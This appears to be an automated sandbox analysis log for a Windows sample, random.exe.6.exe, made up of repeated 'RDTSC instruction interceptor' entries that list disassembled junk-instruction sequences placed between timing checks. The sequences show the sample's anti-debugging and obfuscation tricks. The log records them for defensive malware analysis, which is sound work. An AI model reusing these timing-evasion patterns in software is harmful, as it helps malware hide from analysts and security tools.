Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF0B35 second address: CF0B57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F62B87735E3h 0x0000000a popad 0x0000000b pushad 0x0000000c jno 00007F62B87735D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF0CC1 second address: CF0CC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF0FF9 second address: CF1013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jns 00007F62B87735D6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF1328 second address: CF1334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F62B85207DCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF1334 second address: CF1338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF1637 second address: CF1680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F62B85207E3h 0x00000010 push ebx 0x00000011 jmp 00007F62B85207E4h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF1680 second address: CF168B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF168B second address: CF168F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF168F second address: CF169A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF732A second address: CF732E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF732E second address: CF7333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF5E35 second address: CF5E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B85207E9h 0x00000009 popad 0x0000000a jmp 00007F62B85207DFh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF5E67 second address: CF5E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF5E72 second address: CF5E89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF5E89 second address: CF5EA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B87735E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF6134 second address: CF6143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F62B85207D6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF6143 second address: CF6154 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF6154 second address: CF615D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF63D4 second address: CF6405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F62B87735E2h 0x0000000a jmp 00007F62B87735E1h 0x0000000f popad 0x00000010 pushad 0x00000011 jnp 00007F62B87735DEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF6405 second address: CF6411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF65A7 second address: CF65AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF65AB second address: CF65AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF65AF second address: CF65B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF65B5 second address: CF65C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF68F7 second address: CF68FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF68FB second address: CF6928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F62B85207E1h 0x0000000f jmp 00007F62B85207DAh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF6C0B second address: CF6C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CF6C0F second address: CF6C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFAE0E second address: CFAE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFAE15 second address: CFAE1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFAE1A second address: CFAE26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFAE26 second address: CFAE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F62B85207D6h 0x0000000a popad 0x0000000b jg 00007F62B85207D8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C74418 second address: C7441C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C7441C second address: C74420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C74420 second address: C74450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F62B87735DAh 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F62B87735E1h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b pop esi 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C74450 second address: C74473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F62B85207D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFCEF9 second address: CFCF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFA25 second address: CFFA37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFA37 second address: CFFA43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 js 00007F62B87735D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFB79 second address: CFFB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F62B85207E8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFB97 second address: CFFB9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFD10 second address: CFFD15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFE6F second address: CFFE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFE73 second address: CFFE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFE77 second address: CFFE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F62B87735DCh 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CFFE8C second address: CFFE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D0177D second address: D01790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 js 00007F62B87735D6h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D01790 second address: D01796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C6F2D2 second address: C6F2F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F62B87735D6h 0x0000000f jmp 00007F62B87735E2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C6F2F3 second address: C6F313 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F62B85207E4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C6F313 second address: C6F31C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C6F31C second address: C6F334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B85207DAh 0x00000009 jne 00007F62B85207D6h 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D06518 second address: D0652A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F62B87735D6h 0x0000000a jnl 00007F62B87735D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4568 second address: CB456D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB456D second address: CB4577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F62B87735D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4577 second address: CB45C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F62B85207D8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D2D36h] 0x0000002b pushad 0x0000002c sub dword ptr [ebp+122D1DD8h], ebx 0x00000032 movzx esi, dx 0x00000035 popad 0x00000036 mov ebx, dword ptr [ebp+1247862Ch] 0x0000003c sub dword ptr [ebp+122D1C68h], edx 0x00000042 add eax, ebx 0x00000044 mov edi, dword ptr [ebp+122D303Ah] 0x0000004a nop 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB45C9 second address: CB45CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB45CD second address: CB4645 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62B85207D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d js 00007F62B85207D6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F62B85207E3h 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F62B85207D8h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 mov edx, ebx 0x00000038 push 00000004h 0x0000003a mov cx, A28Ch 0x0000003e nop 0x0000003f pushad 0x00000040 jbe 00007F62B85207E2h 0x00000046 jmp 00007F62B85207DCh 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F62B85207DEh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB4645 second address: CB465E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jc 00007F62B87735DCh 0x0000000f jns 00007F62B87735D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D0CD73 second address: D0CD8F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F62B85207DDh 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jns 00007F62B85207D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D0CD8F second address: D0CD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D10BC1 second address: D10BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62B85207E5h 0x00000008 jng 00007F62B85207D6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D10D49 second address: D10D9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62B87735E0h 0x00000008 jno 00007F62B87735D6h 0x0000000e jmp 00007F62B87735E1h 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007F62B87735E8h 0x0000001c pop esi 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 jc 00007F62B87735D6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D10D9D second address: D10DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D10EF6 second address: D10F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F62B87735D6h 0x0000000c jmp 00007F62B87735E5h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D10F1D second address: D10F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D11032 second address: D1104C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F62B87735D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F62B87735DEh 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1104C second address: D11056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F62B85207D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D11056 second address: D1105A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D111EF second address: D111F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D11503 second address: D1153D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62B87735E5h 0x0000000b pushad 0x0000000c jmp 00007F62B87735E0h 0x00000011 pushad 0x00000012 popad 0x00000013 jo 00007F62B87735D6h 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D19B87 second address: D19BBF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 jmp 00007F62B85207E2h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62B85207E1h 0x00000014 jmp 00007F62B85207DBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18175 second address: D18182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007F62B87735D8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18182 second address: D181AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jnp 00007F62B85207DAh 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007F62B85207E2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1846C second address: D18473 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18749 second address: D1874F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1874F second address: D18753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18753 second address: D18766 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18A2F second address: D18A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F62B87735DDh 0x0000000e pop ecx 0x0000000f js 00007F62B87735DEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18D31 second address: D18D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F62B85207E7h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18D50 second address: D18D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D18FD7 second address: D18FDE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1E51D second address: D1E521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1E521 second address: D1E527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1D65C second address: D1D67D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F62B87735E4h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1D67D second address: D1D683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1D683 second address: D1D691 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DD9E second address: D1DDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DDA2 second address: D1DDA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: D1DDA6 second address: D1DDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F62B85207D6h 0x0000000d jmp 00007F62B85207E9h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
